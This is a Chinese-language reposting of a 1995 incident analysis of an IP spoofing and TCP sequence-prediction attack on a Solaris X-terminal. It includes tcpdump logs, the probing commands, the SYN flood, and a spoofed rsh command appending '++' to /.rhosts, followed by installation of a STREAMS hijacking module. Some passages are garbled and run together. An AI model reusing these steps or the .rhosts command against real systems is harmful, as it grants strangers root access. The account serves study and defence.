利用ip序列攻击 -电脑资料
在JohnMarkoff的1/23/95NYT中的文章,还有 CERTadvisory CA-95:01之中
提到很多关于IP地址的欺骗(IP spoofing)和hijacking攻击.这儿是我的一些技术
资料,
利用ip序列攻击
。希望它能帮助你明白这类攻击是怎么一回事。这是两种截然不同的攻击手段.IP源地址欺骗和TCP序列序列预报是为了获得那些
使用 Xterminal 作为无盘工作站的初始的使用权。当root权限被获得时,一个已知
的到其他系统的连接就会被“可加载内核STREAMS模块”或 hijacked。
这次攻击中的数据记录都是由tcpdump来完成的.兴趣很明确(也很短!),有些日期
被遗漏了.我特别推荐SteveBellovin的关于“IP spoofing”的文章,他对TCP握手
描述的非常详细,也提出了怎样阻止这种攻击手段.
我的设置是这样的:
系 统=运行Solaris1提供"Xterminal"服务的SPARC工作站
x-terminal=运行Solaris1提供"Xterminal"服务
目 标=攻击显然的目标
IPspoofing攻击是从14:09:32PSTon12/25/94开始的.首先的探测来自
toad.com(来自数据包的记录):
14:09:32toad.com#finger-l@target
14:10:21toad.com#finger-l@server
14:10:50toad.com#finger-lroot@server
14:11:07toad.com#finger-l@x-terminal
14:11:38toad.com#showmount-ex-terminal
14:11:49toad.com#rpcinfo-px-terminal
14:12:05toad.com#finger-lroot@x-terminal
这样的探测是为了查看在这些系统之中有什么信赖关系,借此可以发动IPspoofing
攻击.从showmount和rpcinfo的源端口可以看出是toad.com的root
六分钟之后,我们收到了大量的TCPSYN请求(TCP连接的请求),是来自130.92.6.97
到服务器上的513(login)端口.这些SYN请求的目的就是堵塞513端口的连接队列,使其
成为半开连接状态,因此无法接受其它的新的连接请求.详细些就是,它是不会对那些SYN-ACK
请求发送TCPRST回应的。
[梦:关于此处,看看TCP连接的三次握手]
513端口是一个“特权”( 址安全的使用,是在UNIX上的"r-服务"(rsh,rlogin)进行地址spoofing攻击的。130.92.6.97 明显是没有反应的地址(对收到的数据包): 14:18:22.516699130.92.6.97.600>server.login:S1382726960:1382726960(0)win4096 14:18:22.566069130.92.6.97.601>server.login:S1382726961:1382726961(0)win4096 14:18:22.744477130.92.6.97.602>server.login:S1382726962:1382726962(0)win4096 14:18:22.830111130.92.6.97.603>server.login:S1382726963:1382726963(0)win4096 14:18:22.886128130.92.6.97.604>server.login:S1382726964:1382726964(0)win4096 14:18:22.943514130.92.6.97.605>server.login:S1382726965:1382726965(0)win4096 14:18:23.002715130.92.6.97.606>server.login:S1382726966:1382726966(0)win4096 14:18:23.103275130.92.6.97.607>server.login:S1382726967:1382726967(0)win4096 14:18:23.162781130.92.6.97.608>server.login:S1382726968:1382726968(0)win4096 14:18:23.225384130.92.6.97.609>server.login:S1382726969:1382726969(0)win4096 14:18:23.282625130.92.6.97.610>server.login:S1382726970:1382726970(0)win4096 14:18:23.342657130.92.6.97.611>server.login:S1382726971:1382726971(0)win4096 14:18:23.403083130.92.6.97.612>server.login:S1382726972x-terminal.shell:R1382726997:1382726997(0)win0 14:18:29.584705apollo.it.luc.edu.993>x-terminal.shell:S1382726997:1382726997(0)win4096 14:18:29.755054x-terminal.shell>apollo.it.luc.edu.993:S2022720000:2022720000(0)ack1382726998win4096 14:18:29.840372apollo.it.luc.edu.993>x-terminal.shell:R1382726998:1382726998(0)win0 14:18:30.094299apollo.it.luc.edu.992>x-terminal.shell:S1382726998:1382726998(0)win4096 14:18:30.265684x-terminal.shell>apollo.it.luc.edu.992:S2022848000:2022848000(0)ack1382726999win4096 14:18:30.342506apollo.it.luc.edu.992>x-terminal.shell:R1382726999:1382726999(0)win0 14:18:30.604547apollo.it.luc.edu.991>x-terminal.shell:S1382726999:1382726999(0)win4096 14:18:30.775232x-terminal.shell>apollo.it.luc.edu.991:S2022976000:2022976000(0)ack1382727000win4096 14:18:30.852084apollo.it.luc.edu.991>x-terminal.shell:R1382727000:1382727000(0)win0 14:18:31.115036apollo.it.luc.edu.990>x-terminal.shell:S1382727000:1382727000(0)win4096 14:18:31.284694x-terminal.shell>apollo.it.luc.edu.990:S2023104000:2023104000(0)ack1382727001win4096 14:18:31.361684apollo.it.luc.edu.990>x-terminal.shell:R1382727001:1382727001(0)win0 14:18:31.627817apollo.it.luc.edu.989>x-terminal.shell:S1382727001:1382727001(0)win4096 14:18:31.795260x-terminal.shell>apollo.it.luc.edu.989:S2023232000:2023232000(0)ack1382727002win4096 14:18:31.873056apollo.it.luc.edu.989>x-terminal.shell:R1382727002:1382727002(0)win0 14:18:32.164597apollo.it.luc.edu.988>x-terminal.shell:S1382727002:1382727002(0)win4096 14:18:32.335373x-terminal.shell>apollo.it.luc.edu.988:S2023360000:2023360000(0)ack1382727003win4096 14:18:32.413041apollo.it.luc.edu.988>x-terminal.shell:R1382727003:1382727003(0)win0 14:18:32.674779apollo.it.luc.edu.987>x-terminal.shell:S1382727003:1382727003(0)win4096 14:18:32.845373x-terminal.shell>apollo.it.luc.edu.987:S2023488000:2023488000(0)ack1382727004win4096 14:18:32.922158apollo.it.luc.edu.987>x-terminal.shell:R1382727004:1382727004(0)win0 14:18:33.184839apollo.it.luc.edu.986>x-terminal.shell:S1382727004:1382727004(0)win4096 14:18:33.355505x-terminal.shell>apollo.it.luc.edu.986:S2023616000:2023616000(0)ack1382727005win4096 14:18:33.435221apollo.it.luc.edu.986>x-terminal.shell:R1382727005:1382727005(0)win0 14:18:33.695170apollo.it.luc.edu.985>x-terminal.shell:S1382727005:1382727005(0)win4096 14:18:33.985966x-terminal.shell>apollo.it.luc.edu.985:S2023744000:2023744000(0)ack1382727006win4096 14:18:34.062407apollo.it.luc.edu.985>x-terminal.shell:R1382727006:1382727006(0)win0 14:18:34.204953apollo.it.luc.edu.984>x-terminal.shell:S1382727006:1382727006(0)win4096 14:18:34.375641x-terminal.shell>apollo.it.luc.edu.984:S2023872000:2023872000(0)ack1382727007win4096 14:18:34.452830apollo.it.luc.edu.984>x-terminal.shell:R1382727007:1382727007(0)win0 14:18:34.714996apollo.it.luc.edu.983>x-terminal.shell:S1382727007:1382727007(0)win4096 14:18:34.885071x-terminal.shell>apollo.it.luc.edu.983:S2024000000:2024000000(0)ack1382727008win4096 14:18:34.962030apollo.it.luc.edu.983>x-terminal.shell:R1382727008:1382727008(0)win0 14:18:35.225869apollo.it.luc.edu.982>x-terminal.shell:S1382727008:1382727008(0)win4096 14:18:35.395723x-terminal.shell>apollo.it.luc.edu.982:S2024128000:2024128000(0)ack1382727009win4096 14:18:35.472150apollo.it.luc.edu.982>x-terminal.shell:R1382727009:1382727009(0)win0 14:18:35.735077apollo.it.luc.edu.981>x-terminal.shell:S1382727009:1382727009(0)win4096 14:18:35.905684x-terminal.shell>apollo.it.luc.edu.981:S2024256000:2024256000(0)ack1382727010win4096 14:18:35.983078apollo.it.luc.edu.981>x-terminal.shell:R1382727010:1382727010(0)win0 注意每个x-terminal送出的SYN-ACK数据包通过x-terminal有个初始数列,并且都比前 一个来的大. 我们看到一个伪造的SYN(连接请求),是从server.login送到x-terminal.shell的,电脑资料
《利用ip序列攻击》()。
设想服务器如果被x-terminal所信任,那么x-terminal就可以利用了(甚至一些伪装的服务器)
请求了.
x-terminal会对服务器回复一个SYN-ACK,只有ACK过的才可以打开连接
.服务器会丢失送到server.login的数据包,所以ACK也要伪造.
通常情况下,SYN-ACK的数列需要用来生成有效的ACK.虽然这样,攻击者可以预知序列
包含在SYN-ACK中,基于已知的x-terminal的tcp序列生成规律,下面还可以用ACK来对付
那些没有看见的SYN-ACK:
14:18:36.245045server.login>x-terminal.shell:S1382727010:1382727010(0)win4096
14:18:36.755522server.login>x-terminal.shell:.ack2024384001win4096
现在被spoofing的机器现在只有一种方法连接到x-terminal.shell服务器就是server.login.
它可以维护连接connection和send请求可以通过完全ACK掉。应该像下面这样:
14:18:37.265404server.login>x-terminal.shell:P0:2(2)ack1win4096
14:18:37.775872server.login>x-terminal.shell:P2:7(5)ack1win4096
14:18:38.287404server.login>x-terminal.shell:P7:32(25)ack1win4096
相当于:
14:18:37server#rshx-terminal"echo++>>/.rhosts"
从第一个spoofed的数据包共用了:<16秒的时间
欺骗的;连接已经被终止了:
14:18:41.347003server.login>x-terminal.shell:.ack2win4096
14:18:42.255978server.login>x-terminal.shell:.ack3win4096
14:18:43.165874server.login>x-terminal.shell:F32:32(0)ack3win4096
14:18:52.179922server.login>x-terminal.shell:R1382727043:1382727043(0)win4096
14:18:52.236452server.login>x-terminal.shell:R1382727044:1382727044(0)win4096
我们现在看到RST释放了在server.login上的队列中的那些半连接和空连接:
14:18:52.298431130.92.6.97.600>server.login:R1382726960:1382726960(0)win4096
14:18:52.363877130.92.6.97.601>server.login:R1382726961:1382726961(0)win4096
14:18:52.416916130.92.6.97.602>server.login:R1382726962:1382726962(0)win4096
14:18:52.476873130.92.6.97.603>server.login:R1382726963:1382726963(0)win4096
14:18:52.536573130.92.6.97.604>server.login:R1382726964:1382726964(0)win4096
14:18:52.600899130.92.6.97.605>server.login:R1382726965:1382726965(0)win4096
14:18:52.660231130.92.6.97.606>server.login:R1382726966:1382726966(0)win4096
14:18:52.717495130.92.6.97.607>server.login:R1382726967:1382726967(0)win4096
14:18:52.776502130.92.6.97.608>server.login:R1382726968:1382726968(0)win4096
14:18:52.836536130.92.6.97.609>server.login:R1382726969:1382726969(0)win4096
14:18:52.937317130.92.6.97.610>server.login:R1382726970:1382726970(0)win4096
14:18:52.996777130.92.6.97.611>server.login:R1382726971:1382726971(0)win4096
14:18:53.056758130.92.6.97.612>server.login:R1382726972:1382726972(0)win4096
14:18:53.116850130.92.6.97.613>server.login:R1382726973:1382726973(0)win4096
14:18:53.177515130.92.6.97.614>server.login:R1382726974:1382726974(0)win4096
14:18:53.238496130.92.6.97.615>server.login:R1382726975:1382726975(0)win4096
14:18:53.297163130.92.6.97.616>server.login:R1382726976:1382726976(0)win4096
14:18:53.365988130.92.6.97.617>server.login:R1382726977:1382726977(0)win4096
14:18:53.437287130.92.6.97.618>server.login:R1382726978:1382726978(0)win4096
14:18:53.496789130.92.6.97.619>server.login:R1382726979:1382726979(0)win4096
14:18:53.556753130.92.6.97.620>server.login:R1382726980:1382726980(0)win4096
14:18:53.616954130.92.6.97.621>server.login:R1382726981:1382726981(0)win4096
14:18:53.676828130.92.6.97.622>server.login:R1382726982:1382726982(0)win4096
14:18:53.736734130.92.6.97.623>server.login:R1382726983:1382726983(0)win4096
14:18:53.796732130.92.6.97.624>server.login:R1382726984:1382726984(0)win4096
14:18:53.867543130.92.6.97.625>server.login:R1382726985:1382726985(0)win4096
14:18:53.917466130.92.6.97.626>server.login:R1382726986:1382726986(0)win4096
14:18:53.976769130.92.6.97.627>server.login:R1382726987:1382726987(0)win4096
14:18:54.039039130.92.6.97.628>server.login:R1382726988:1382726988(0)win4096
14:18:54.097093130.92.6.97.629>server.login:R1382726989:1382726989(0)win4096
server.login又可以接受连接请求了.
通过IP地址spoofing成果获得root权限后,一个叫做"tap-2.01"的内核模块被x-terminal
编译和安装:
x-terminal%modstat
IdTypeLoadaddrSizeB-majorC-majorSysnumModName
1Pdrvff050000100059.tap/tap-2.01alpha
x-terminal%ls-l/dev/tap
crwxrwxrwx1root37,59Dec2514:40/dev/tap
这是一个出现内核STREAMS模块,可以防到已有的STREAMS堆栈和控制ttydevice上
面的用户.